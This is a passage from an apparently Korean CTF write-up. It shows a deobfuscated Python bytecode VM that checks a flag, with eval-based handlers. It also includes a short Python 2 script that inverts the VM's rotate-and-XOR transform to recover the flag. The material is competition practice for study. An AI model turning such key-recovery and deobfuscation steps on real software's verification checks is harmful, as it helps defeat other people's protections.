    OOOO0OOOOO000OOOO=O0OO00OO000OOO0O0[OOOOOO0O0OO00OOO0]
    OOOO0OOOOO000OOOO=OOOO0OOOOO000OOOO.decode("utf-8")
    if OOOO0OOOOO000OOOO.isdigit():
        OOOO0OOOOO000OOOO=int(OOOO0OOOOO000OOOO)
    else:
        OOOO0OOOOO000OOOO=O0OO00OO000OOO0O0[OOOO0OOOOO000OOOO]
    OOO0OO00OO0O00OOO=O0OO00OO000OOO0O0[OO0O00OO0000O0O0O]
    OOO0OO00OO0O00OOO=OOO0OO00OO0O00OOO.decode("utf-8")
    if OOO0OO00OO0O00OOO.isdigit():
        OOO0OO00OO0O00OOO=int(OOO0OO00OO0O00OOO)
    else:
        OOO0OO00OO0O00OOO=O0OO00OO000OOO0O0[OOO0OO00OO0O00OOO]
    print("[+] %d << %d" %(OOOO0OOOOO000OOOO, OOO0OO00OO0O00OOO))
    OO00OOOOO0OOOO0OO=OOOO0OOOOO000OOOO<<OOO0OO00OO0O00OOO
    O0OO00OO000OOO0O0[O000O00O0OOOO0000]=OO00OOOOO0OOOO0OO
    return
def O0O0OOO00OO00O00O(OO00OOO000OO00O0O):
    O000OO0OOO0OO0000=2001
    O0OOO0O0OO0O0OO0O=2002
    OOOOO0OO0OOOOO000=1001
    OOO0OOO00O00O0OOO=OO00OOO000OO00O0O[O000OO0OOO0OO0000]
    OOO0OOO00O00O0OOO=OOO0OOO00O00O0OOO.decode("utf-8")
    O0O000O00O0O0000O=OO00OOO000OO00O0O[O0OOO0O0OO0O0OO0O]
    O0O000O00O0O0000O=O0O000O00O0O0000O.decode("utf-8")
    if O0O000O00O0O0000O.isdigit():
        O0O000O00O0O0000O=int(O0O000O00O0O0000O)
    else:
        O0O000O00O0O0000O=OO00OOO000OO00O0O[O0O000O00O0O0000O]
    print("[+] %s(%s)" %(OOO0OOO00O00O0OOO, O0O000O00O0O0000O))
    OO0OOOO000O00OOO0=eval(OOO0OOO00O00O0OOO)
    O00O0OO00000OOO0O=OO0OOOO000O00OOO0(O0O000O00O0O0000O)
    OO00OOO000OO00O0O[OOOOO0OO0OOOOO000]=O00O0OO00000OOO0O
    return
def O0O000000OO00O00O(OOO0OO0000OO0O0OO):
    O00OO0O0O000OOO00=2001
    O0OO0O0OO0OOOO0O0=1001
    O00O0OOOO00O00O00=OOO0OO0000OO0O0OO[O00OO0O0O000OOO00]
    O00O0OOOO00O00O00=O00O0OOOO00O00O00.decode("utf-8")
    O00OOOO0OOO0O00OO=eval(O00O0OOOO00O00O00)
    O0O00OOO000OO0OO0=O00OOOO0OOO0O00OO()
    OOO0OO0000OO0O0OO[O0OO0O0OO0OOOO0O0]=O0O00OOO000OO0OO0
    return
def O00OO0000OO00OO0O(OOO0OOOO00OO0O000):
    OOO0OO0000OO0O0O0=2001
    O000O0O0O0O00000O=1001
    O00O0OO00O00OOOO0=OOO0OOOO00OO0O000[OOO0OO0000OO0O0O0]
    O00O0OO00O00OOOO0=O00O0OO00O00OOOO0.decode("utf-8")
    if O00O0OO00O00OOOO0.isdigit():
        O00O0OO00O00OOOO0=int(O00O0OO00O00OOOO0)
    else:
        O00O0OO00O00OOOO0=OOO0OOOO00OO0O000[O00O0OO00O00OOOO0]
    OOO0OOOO00OO0O000[O000O0O0O0O00000O]=O00O0OO00O00OOOO0
    return
def O0O000000OO00OO0O(O0OOOO00000O00OO0):
    O00O0000O0OO00OO0=2001
    O00O000OO0O0000OO=1001
    O0O0O0O0OOOOOO0OO=O0OOOO00000O00OO0[O00O0000O0OO00OO0]
    O0O0O0O0OOOOOO0OO=O0O0O0O0OOOOOO0OO.decode("utf-8")
    OOOOO000OO0OOOOOO=O0OOOO00000O00OO0[O00O000OO0O0000OO]
    O0OOOO00000O00OO0[O0O0O0O0OOOOOO0OO]=OOOOO000OO0OOOOOO
    return
def O0O0O0000OO0O0000(OO000000OO0000000):
    OO0O00O0OOO0O0O00=2001
    OO0000000O0000OOO=2002
    O0O0OOOOOO0O00O00=2003
    O0OOO0OO0OOO00OO0=1000
    O0000O0OOO0O0OOOO=OO000000OO0000000[OO0O00O0OOO0O0O00]
    O0000O0OOO0O0OOOO=O0000O0OOO0O0OOOO.decode("utf-8")
    O0000O0OOO0O0OOOO=int(O0000O0OOO0O0OOOO)
    OO0O00OO0O0OO0000=OO000000OO0000000[OO0000000O0000OOO]
    OO0O00OO0O0OO0000=OO0O00OO0O0OO0000.decode("utf-8")
    if OO0O00OO0O0OO0000.isdigit():
        OO0O00OO0O0OO0000=int(OO0O00OO0O0OO0000)
    else:
        OO0O00OO0O0OO0000=OO000000OO0000000[OO0O00OO0O0OO0000]
    OOO00OOOOO0000OO0=OO000000OO0000000[O0O0OOOOOO0O00O00]
    OOO00OOOOO0000OO0=OOO00OOOOO0000OO0.decode("utf-8")
    if OOO00OOOOO0000OO0.isdigit():
        OOO00OOOOO0000OO0=int(OOO00OOOOO0000OO0)
    else:
        OOO00OOOOO0000OO0=OO000000OO0000000[OOO00OOOOO0000OO0]
    print("[+] equal_ins %d == %d" %(OO0O00OO0O0OO0000, OOO00OOOOO0000OO0))
    if OO0O00OO0O0OO0000==OOO00OOOOO0000OO0:
        OO000000OO0000000[O0OOO0OO0OOO00OO0]=O0000O0OOO0O0OOOO
    return
def O0O0O0OO00O0OOO0O(O0000OO0O0O0O0OOO):
    OOO0OOO0OO0OO0O00=2001
    OOO000OO00O0O0O0O=2002
    O0OO000O000OOOOO0=2003
    OO00OO00OOO0OOO0O=1000
    O0O0O0OO0OOOO0O0O=O0000OO0O0O0O0OOO[OOO0OOO0OO0OO0O00]
    O0O0O0OO0OOOO0O0O=O0O0O0OO0OOOO0O0O.decode("utf-8")
    O0O0O0OO0OOOO0O0O=int(O0O0O0OO0OOOO0O0O)
    O0OO000O0O0000O00=O0000OO0O0O0O0OOO[OOO000OO00O0O0O0O]
    O0OO000O0O0000O00=O0OO000O0O0000O00.decode("utf-8")
    if O0OO000O0O0000O00.isdigit():
        O0OO000O0O0000O00=int(O0OO000O0O0000O00)
    else:
        O0OO000O0O0000O00=O0000OO0O0O0O0OOO[O0OO000O0O0000O00]
    OO00O000OOO0OOO00=O0000OO0O0O0O0OOO[O0OO000O000OOOOO0]
    OO00O000OOO0OOO00=OO00O000OOO0OOO00.decode("utf-8")
    if OO00O000OOO0OOO00.isdigit():
        OO00O000OOO0OOO00=int(OO00O000OOO0OOO00)
    else:
        OO00O000OOO0OOO00=O0000OO0O0O0O0OOO[OO00O000OOO0OOO00]
    print("[+] not_equal_ins %d == %d" %(O0OO000O0O0000O00, OO00O000OOO0OOO00))
    if O0OO000O0O0000O00 !=OO00O000OOO0OOO00:
        O0000OO0O0O0O0OOO[OO00OO00OOO0OOO0O]=O0O0O0OO0OOOO0O0O
    return
def O0O0O0000OO0O0O0O(O0OOO0OO0O0000OO0):
    OOO0OO0OOO0OO0O00=2001
    OO00OOOO0OOOOOOOO=2002
    OOOO00OO0OOOO00O0=2003
    OOOOO0O0OOO0OOO0O=1000
    OO0OOO0O0O0000000=O0OOO0OO0O0000OO0[OOO0OO0OOO0OO0O00]
    OO0OOO0O0O0000000=OO0OOO0O0O0000000.decode("utf-8")
    OO0OOO0O0O0000000=int(OO0OOO0O0O0000000)
    O0OOO0O000O00OO0O=O0OOO0OO0O0000OO0[OO00OOOO0OOOOOOOO]
    O0OOO0O000O00OO0O=O0OOO0O000O00OO0O.decode("utf-8")
    if O0OOO0O000O00OO0O.isdigit():
        O0OOO0O000O00OO0O=int(O0OOO0O000O00OO0O)
    else:
        O0OOO0O000O00OO0O=O0OOO0OO0O0000OO0[O0OOO0O000O00OO0O]
    OOO0OOO00O0000O0O=O0OOO0OO0O0000OO0[OOOO00OO0OOOO00O0]
    OOO0OOO00O0000O0O=OOO0OOO00O0000O0O.decode("utf-8")
    if OOO0OOO00O0000O0O.isdigit():
        OOO0OOO00O0000O0O=int(OOO0OOO00O0000O0O)
    else:
        OOO0OOO00O0000O0O=O0OOO0OO0O0000OO0[OOO0OOO00O0000O0O]
    if O0OOO0O000O00OO0O<OOO0OOO00O0000O0O:
        O0OOO0OO0O0000OO0[OOOOO0O0OOO0OOO0O]=OO0OOO0O0O0000000
    return
def OO0OO0OO0OO00OO00(O00O0OOOO000OO0OO):
    O00OO0OO0OO0OO00O=2001
    O00O00O0OOO0OOO00=2002
    OO0O000O00O0000O0=2003
    OO00O0O0O00000OO0=1000
    OO000OOOO00OO0OOO=O00O0OOOO000OO0OO[O00OO0OO0OO0OO00O]
    OO000OOOO00OO0OOO=OO000OOOO00OO0OOO.decode("utf-8")
    OO000OOOO00OO0OOO=int(OO000OOOO00OO0OOO)
    O00000OO000OO00O0=O00O0OOOO000OO0OO[O00O00O0OOO0OOO00]
    O00000OO000OO00O0=O00000OO000OO00O0.decode("utf-8")
    if O00000OO000OO00O0.isdigit():
        O00000OO000OO00O0=int(O00000OO000OO00O0)
    else:
        O00000OO000OO00O0=O00O0OOOO000OO0OO[O00000OO000OO00O0]
    OO00OOOO00O000OOO=O00O0OOOO000OO0OO[OO0O000O00O0000O0]
    OO00OOOO00O000OOO=OO00OOOO00O000OOO.decode("utf-8")
    if OO00OOOO00O000OOO.isdigit():
        OO00OOOO00O000OOO=int(OO00OOOO00O000OOO)
    else:
        OO00OOOO00O000OOO=O00O0OOOO000OO0OO[OO00OOOO00O000OOO]
    if O00000OO000OO00O0 >=OO00OOOO00O000OOO:
        O00O0OOOO000OO0OO[OO00O0O0O00000OO0]=OO000OOOO00OO0OOO
    return
def O00OO0000OO0OOO0O(OOOOOO000000O0OOO):
    O0OOOOOO0OO0O0OOO=2001
    O0O0OOOO0OOO0OO00=1000
    O0000OOO0000OO0O0=OOOOOO000000O0OOO[O0OOOOOO0OO0O0OOO]
    O0000OOO0000OO0O0=O0000OOO0000OO0O0.decode("utf-8")
    O0000OOO0000OO0O0=int(O0000OOO0000OO0O0)
    OOOOOO000000O0OOO[O0O0OOOO0OOO0OO00]=O0000OOO0000OO0O0
    return
def flag_verify(code ,flag):
    tab=dict()
    val_1000=1000
    val_1001=1001
    val_2001=2001
    val_2002=2002
    val_2003=2003
    val_2004=2004
    val_0=0
    val_1=1
    val_2=2
    val_3=3
    val_4=4
    val_5=5
    tab[val_1000]=0
    tab[val_1001]=0
    tab["flag"]=flag
    OOO000O0O0OOO0OOO=0
    while OOO000O0O0OOO0OOO==0:
        O00OOO00000OO0OOO=tab[val_1000]
        opcode=code[O00OOO00000OO0OOO]
        O00OOO00000OO0OOO=O00OOO00000OO0OOO+val_1
        OO000O0OOOOOOO0OO=code[O00OOO00000OO0OOO]
        O00OOO00000OO0OOO=O00OOO00000OO0OOO+val_1
        if val_0<OO000O0OOOOOOO0OO:
            O0OOOO00O0OOO00OO=code[O00OOO00000OO0OOO]
            O00OOO00000OO0OOO=O00OOO00000OO0OOO+val_1
            O00OO00OOOOO000OO=O00OOO00000OO0OOO
            OO00OOOOOOOOO00OO=O00OOO00000OO0OOO+O0OOOO00O0OOO00OO
            OO0O000O00OOOOOO0=code[O00OO00OOOOO000OO:OO00OOOOOOOOO00OO]
            tab[val_2001]=OO0O000O00OOOOOO0
            O00OOO00000OO0OOO=O00OOO00000OO0OOO+O0OOOO00O0OOO00OO
        if val_1<OO000O0OOOOOOO0OO:
            OO000O00OO0O0O0O0=code[O00OOO00000OO0OOO]
            O00OOO00000OO0OOO=O00OOO00000OO0OOO+val_1
            O0O0OOO000OOOOO00=O00OOO00000OO0OOO
            OOOOO00000OOOO00O=O00OOO00000OO0OOO+OO000O00OO0O0O0O0
            O0OO0O0OO0OO00000=code[O0O0OOO000OOOOO00:OOOOO00000OOOO00O]
            tab[val_2002]=O0OO0O0OO0OO00000
            O00OOO00000OO0OOO=O00OOO00000OO0OOO+OO000O00OO0O0O0O0
        if val_2<OO000O0OOOOOOO0OO:
            O0OOO0OOOOO0OOO0O=code[O00OOO00000OO0OOO]
            O00OOO00000OO0OOO=O00OOO00000OO0OOO+val_1
            O0O00O0OOO00O00OO=O00OOO00000OO0OOO
            OOO000000OO00O0OO=O00OOO00000OO0OOO+O0OOO0OOOOO0OOO0O
            O000OO0OOOOOO0O00=code[O0O00O0OOO00O00OO:OOO000000OO00O0OO]
            tab[val_2003]=O000OO0OOOOOO0O00
            O00OOO00000OO0OOO=O00OOO00000OO0OOO+O0OOO0OOOOO0OOO0O
        if val_3<OO000O0OOOOOOO0OO:
            O00O00000OOOO00O0=code[O00OOO00000OO0OOO]
            O00OOO00000OO0OOO=O00OOO00000OO0OOO+val_1
            OO00OOOOO00O000OO=O00OOO00000OO0OOO
            O00OO00O0000O0000=O00OOO00000OO0OOO+O00O00000OOOO00O0
            O000OOOOOOO00O0OO=code[OO00OOOOO00O000OO:O00OO00O0000O0000]
            tab[val_2004]=O000OOOOOOO00O0OO
            O00OOO00000OO0OOO=O00OOO00000OO0OOO+O00O00000OOOO00O0
        tab[val_1000]=O00OOO00000OO0OOO
        print("Opcode %d" % opcode)
        if opcode==0:
            O0O0OOO00OO00O000(tab)
        elif opcode==2:
            OO0OO0OOOOO00O000(tab)
        elif opcode==8:
            OO0OO0OO0OO00OO00(tab)
        elif opcode==11:
            O00OO0000OO0OOO0O(tab)
        elif opcode==34:
            O0O0O0000O00OOO0O(tab)
        elif opcode==41:
            O0O0OOO00OO00O00O(tab)
        elif opcode==44:
            O0O000000OO00O00O(tab)
        elif opcode==49:
            O0O0O0000OO0O0O0O(tab)
        elif opcode==72:
            O0O000000OO00OO0O(tab)
        elif opcode==74:
            O00OO0000OO00OO0O(tab)
        elif opcode==81:
            O0O0O0000OO0O0000(tab)
        elif opcode==82:
            O0O000000OO0OOO0O(tab)
        elif opcode==91:
            O0O0O0OO00O0OOO0O(tab)
        elif opcode==99:
            O0O0O0000O00OO00O(tab)
        elif opcode==102:
            OO0OO0OOOOO0OOO00(tab)
        elif opcode==111:
            O00OO0OOOOO00OO00(tab)
        elif opcode==131:
            OOO0O0000OO0OOO0O(tab)
        elif opcode==151:
            O000O0000OO0OOO0O(tab)
        elif opcode==171:
            O0O0O0OO0OO0OOO0O(tab)
        elif opcode==186:
            O0OOO0OOOOO00O000(tab)
        O00OOO00000OO0OOO=tab[val_1000]
        if opcode==74:
            OOO000O0O0OOO0OOO=1
    O00OO000OO0O0O0O0=tab[val_1001]
    return O00OO000OO0O0O0O0
  • 출력된 결과물을 분석하게되면 입력 값에 특정한 암호화 연산을 수행하고 최종적으로 암호화를 수행한 입력 값과 특정한 값(15164928151071436234)을 비교하는 것을 알 수 있다.
  • 다음과 같은 복호화 코드를 작성하여 플래그를 획득할 수 있다.
b2 = 15164928151071436234
for i in range(0, 127):
    a1 = b2 >> 57
    a2 = b2 & 0x1ffffffffffffff
    ss = a1 + (a2 << 7)
    
    c2 = (((ss & 0xffffffff) - 4290952684) ^ 4290952684) & 0xffffffff
    d2 = ((((ss & 0xffffffff00000000) >> 32) - 4290952684) ^ 4290952684) & 0xffffffff
    b2 = (c2 << 32) + d2
print hex(b2)

[CTF] Codegate CTF 2019 Preliminary

Codegate CTF 2019 Preliminary Rank 15. Hayyim Sec Problems 1. MIC check ; misc 2. 20000 ; pwn 3. Butterfree ; pwn 4. ...